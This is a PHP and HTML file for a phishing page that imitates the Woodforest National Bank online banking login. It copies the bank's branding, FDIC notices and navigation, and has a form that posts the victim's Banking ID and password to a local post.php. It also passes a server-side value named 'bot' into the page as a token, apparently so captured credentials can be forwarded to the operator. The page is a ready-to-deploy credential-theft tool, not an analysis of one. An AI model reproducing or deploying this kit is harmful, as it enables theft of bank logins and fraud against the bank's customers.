<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;600;700&family=Source+Sans+3:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Woodforest National Bank – Log In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --green:        #90C85C;
            --green-dark:   #72a840;
            --green-deep:   #527a2e;
            --green-light:  #f2f8eb;
            --charcoal:     #212529;
            --charcoal-mid: #343a40;
            --text:         #1a1a1a;
            --text-sub:     #444;
            --text-muted:   #6b6b6b;
            --border:       #d0d6c8;
            --border-focus: #90C85C;
            --bg:           #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--bg); color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto auto auto 1fr auto; }

        /* ─── TOP UTILITY BAR ────────────────────────── */
        .utility-bar {
            background: var(--charcoal);
            padding: 0 48px;
            display: flex; align-items: center; justify-content: space-between;
            height: 48px;
        }
        .utility-bar-left { display: flex; align-items: center; gap: 24px; }
        .utility-bar-left a { font-size: 13px; color: rgba(255,255,255,0.75); text-decoration: none; transition: color 0.15s; display: flex; align-items: center; gap: 5px; }
        .utility-bar-left a:hover { color: #fff; }
        .utility-bar-right { display: flex; align-items: center; gap: 16px; }
        .btn-login-top {
            background: var(--green); color: var(--charcoal);
            border: none; border-radius: 4px;
            padding: 8px 20px; font-family: 'Source Sans 3', sans-serif;
            font-size: 13px; font-weight: 700; cursor: pointer;
            transition: background 0.15s, box-shadow 0.15s; letter-spacing: 0.01em;
        }
        .btn-login-top:hover { background: var(--green-dark); box-shadow: 0 2px 10px rgba(144,200,92,0.3); }
        .search-bar { display: flex; align-items: center; gap: 0; }
        .search-bar input { height: 30px; padding: 0 10px; border: none; border-radius: 3px 0 0 3px; font-size: 13px; background: rgba(255,255,255,0.1); color: #fff; outline: none; width: 160px; }
        .search-bar input::placeholder { color: rgba(255,255,255,0.4); }
        .search-bar button { height: 30px; width: 30px; background: var(--green); border: none; border-radius: 0 3px 3px 0; cursor: pointer; display: flex; align-items: center; justify-content: center; }
        .search-bar button svg { color: var(--charcoal); }

        /* ─── MAIN NAV ───────────────────────────────── */
        .main-nav {
            background: var(--charcoal);
            border-top: 1px solid rgba(255,255,255,0.08);
            padding: 0 48px;
            display: flex; align-items: center; justify-content: space-between;
            height: 70px;
        }
        .nav-logo img { height: 46px; width: auto; }
        .nav-links { display: flex; align-items: center; gap: 4px; }
        .nav-links a { font-size: 13.5px; color: rgba(255,255,255,0.82); text-decoration: none; font-weight: 400; padding: 8px 13px; border-radius: 3px; transition: color 0.15s, background 0.15s; }
        .nav-links a:hover { color: #fff; background: rgba(255,255,255,0.06); }
        .fdic-block { display: flex; align-items: center; gap: 8px; }
        .fdic-badge { background: #1b3d8c; color: #fff; font-size: 11px; font-weight: 800; letter-spacing: 0.06em; padding: 3px 6px; border-radius: 2px; }
        .fdic-text { font-size: 10px; color: rgba(255,255,255,0.45); line-height: 1.4; max-width: 140px; }

        /* ─── SUB NAV ────────────────────────────────── */
        .sub-nav {
            background: #fff;
            border-bottom: 3px solid var(--green);
            padding: 0 48px;
            display: flex; align-items: center;
            height: 46px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.06);
        }
        .sub-nav-links { display: flex; gap: 0; }
        .sub-nav-links a { font-size: 13px; color: var(--text-sub); text-decoration: none; font-weight: 400; padding: 0 16px; height: 46px; display: flex; align-items: center; border-bottom: 3px solid transparent; margin-bottom: -3px; transition: color 0.15s, border-color 0.15s; }
        .sub-nav-links a:hover { color: var(--charcoal); border-bottom-color: var(--green); }
        .sub-nav-links a.active { color: var(--charcoal); font-weight: 600; border-bottom-color: var(--green); }

        /* ─── MAIN ───────────────────────────────────── */
        .main { display: grid; grid-template-columns: 1fr 460px 1fr; align-items: start; padding: 48px 24px 64px; background: #fff; }

        /* ─── SIDE PANEL ─────────────────────────────── */
        .side-panel { grid-column: 1; padding: 0 48px 0 max(48px, calc((100% - 1100px) / 2)); padding-top: 8px; max-width: 500px; margin-left: auto; }
        .side-title { font-family: 'Source Serif 4', serif; font-size: 26px; font-weight: 300; line-height: 1.4; color: var(--charcoal); margin-bottom: 22px; }
        .side-title strong { color: var(--green-deep); font-weight: 700; display: block; }
        .feature-list { list-style: none; display: flex; flex-direction: column; gap: 14px; margin-bottom: 32px; }
        .feature-list li { display: flex; align-items: flex-start; gap: 12px; font-size: 14px; color: var(--text-sub); line-height: 1.6; }
        .feature-icon { width: 22px; height: 22px; background: var(--green-light); border-radius: 50%; display: flex; align-items: center; justify-content: center; flex-shrink: 0; margin-top: 1px; }
        .feature-icon svg { color: var(--green-deep); }
        .security-badge { display: flex; align-items: center; gap: 10px; padding: 14px 16px; background: #fff; border: 1px solid var(--border); border-left: 3px solid var(--green); border-radius: 4px; }
        .security-badge p { font-size: 12px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 2px; }

        /* ─── CARD ───────────────────────────────────── */
        .login-wrap { grid-column: 2; }
        .login-card { background: #fff; border: 1px solid var(--border); border-top: 4px solid var(--green); border-radius: 3px; padding: 40px 44px 44px; box-shadow: 0 2px 14px rgba(144,200,92,0.08), 0 8px 32px rgba(0,0,0,0.04); animation: cardIn 0.4s ease both; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 52px; width: auto; display: block; }

        .card-header { margin-bottom: 26px; padding-bottom: 20px; border-bottom: 1px solid #ecf0e8; }
        .card-header h1 { font-family: 'Source Serif 4', serif; font-size: 22px; font-weight: 700; color: var(--charcoal); margin-bottom: 5px; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        .field { margin-bottom: 18px; }
        .field label { display: block; font-size: 13px; font-weight: 600; color: var(--text); margin-bottom: 6px; }
        .field input[type="text"], .field input[type="Password"] { width: 100%; height: 44px; padding: 0 14px; border: 1px solid var(--border); border-radius: 3px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; color: var(--text); background: #fff; outline: none; transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none; }
        .field input::placeholder { color: #b8c4a8; font-weight: 300; }
        .field input:focus { border-color: var(--border-focus); box-shadow: 0 0 0 3px rgba(144,200,92,0.15); }

        .remember-row { display: flex; align-items: center; gap: 9px; margin-bottom: 6px; }
        .remember-row input[type="checkbox"] { appearance: none; -webkit-appearance: none; width: 16px; height: 16px; border: 1.5px solid var(--border); border-radius: 3px; background: #fff; cursor: pointer; flex-shrink: 0; position: relative; transition: background 0.12s, border-color 0.12s; }
        .remember-row input:checked { background: var(--green); border-color: var(--green); }
        .remember-row input:checked::after { content: ''; position: absolute; left: 3px; top: 0px; width: 5px; height: 9px; border: 2px solid var(--charcoal); border-top: none; border-left: none; transform: rotate(45deg); }
        .remember-row label { font-size: 13.5px; color: var(--text-sub); cursor: pointer; user-select: none; }

        .forgot-row { text-align: right; margin-bottom: 18px; }
        .forgot-row a { font-size: 12.5px; color: var(--green-deep); text-decoration: none; font-weight: 500; transition: opacity 0.12s; }
        .forgot-row a:hover { opacity: 0.75; text-decoration: underline; }

        .btn-login { width: 100%; height: 46px; background: var(--green); color: var(--charcoal); border: none; border-radius: 3px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; font-weight: 700; cursor: pointer; letter-spacing: 0.02em; transition: background 0.15s, box-shadow 0.15s; margin-bottom: 20px; }
        .btn-login:hover { background: var(--green-dark); box-shadow: 0 3px 14px rgba(144,200,92,0.3); }

        .card-divider { height: 1px; background: #ecf0e8; margin-bottom: 18px; }
        .card-links { display: flex; flex-direction: column; gap: 10px; }
        .card-links a { font-size: 13.5px; color: var(--green-deep); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 5px; transition: opacity 0.12s; }
        .card-links a:hover { opacity: 0.7; text-decoration: underline; }

        /* ─── FOOTER ─────────────────────────────────── */
        .page-footer { background: var(--charcoal); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }
        .fdic-footer { display: flex; align-items: center; gap: 8px; }
        .fdic-footer .fdic-badge { font-size: 9px; }
        .fdic-footer span { font-size: 11px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) { .main { grid-template-columns: 1fr; padding: 32px 20px 48px; } .side-panel { display: none; } .login-wrap { grid-column: 1; max-width: 460px; width: 100%; margin: 0 auto; } .main-nav { padding: 0 24px; } .utility-bar { padding: 0 24px; } .sub-nav { padding: 0 24px; } .nav-links { display: none; } .sub-nav-links { display: none; } }
        @media (max-width: 500px) { .login-card { padding: 28px 24px 32px; } }
    </style>
</head>
<body>
<div class="page">

    <!-- UTILITY BAR -->
    <div class="utility-bar">
        <div class="utility-bar-left">
            <a href="#">Log in <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Locations</a>
            <a href="#">Contact Us</a>
            <a href="#">Careers</a>
            <a href="#">Español</a>
        </div>
        <div class="utility-bar-right">
            <div class="search-bar">
                <input type="text" placeholder="Search">
                <button><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></button>
            </div>
        </div>
    </div>

    <!-- MAIN NAV -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Woodforest National Bank"></div>
        <div class="nav-links">
            <a href="#">Personal</a>
            <a href="#">Small Business</a>
            <a href="#">Commercial</a>
            <a href="#">Woodforest Cares</a>
            <a href="#">About Us</a>
        </div>
        <div class="fdic-block">
            <span class="fdic-badge">FDIC</span>
            <span class="fdic-text">FDIC-Insured · Backed by the full faith and credit of the U.S. Government</span>
        </div>
    </nav>

    <!-- SUB NAV -->
    <div class="sub-nav">
        <div class="sub-nav-links">
            <a href="#" class="active">Checking</a>
            <a href="#">Savings</a>
            <a href="#">Loans</a>
            <a href="#">Debit Cards</a>
            <a href="#">Online &amp; Mobile Banking</a>
            <a href="#">Other Services</a>
            <a href="#">Resources</a>
        </div>
    </div>

    <!-- MAIN CONTENT -->
    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">Log in to Online Banking.<br><strong>Manage everything, anywhere.</strong></h2>
            <ul class="feature-list">
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>View account balances and transaction history</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Transfer funds between your accounts instantly</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Pay bills and manage payments online</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Access your statements and documents securely</li>
            </ul>
            <div class="security-badge">
                <svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#90C85C" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><polyline points="9 12 11 14 15 10" stroke-width="2"/></svg>
                <p><strong>Secure Online Banking</strong>256-bit SSL encryption protects your session at all times.</p>
            </div>
        </aside>

        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="Woodforest National Bank"></div>
                <div class="card-header">
                    <h1>Log In to Online Banking</h1>
                    <p>Enter your credentials to securely access your account</p>
                </div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="field"><label for="user">Online Banking ID</label><input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your Banking ID"></div>
                    <div class="field"><label for="pass">Password</label><input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password"></div>
                    <div class="remember-row"><input type="checkbox" id="remember" name="remember"><label for="remember">Remember my Banking ID</label></div>
                    <div class="forgot-row"><a href="#">Forgot Banking ID or Password?</a></div>
                    <button type="submit" class="btn-login">Log In to Online Banking</button>
                    <div class="card-divider"></div>
                    <div class="card-links">
                        <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>Enroll in Online Banking</a>
                        <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0118 0z"/><circle cx="12" cy="10" r="3"/></svg>Find a branch near you</a>
                    </div>
                </form>
            </div>
        </div>
    </main>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Sitemap</a><a href="#">Contact Us</a></div>
        <div class="fdic-footer"><span class="fdic-badge">FDIC</span><span>Member FDIC. Equal Housing Lender. © 2025 Woodforest National Bank.</span></div>
        <div class="footer-copy">1-855-242-2287</div>
    </footer>
</div>
<script src="./res/jq.js"></script>
</body>
</html>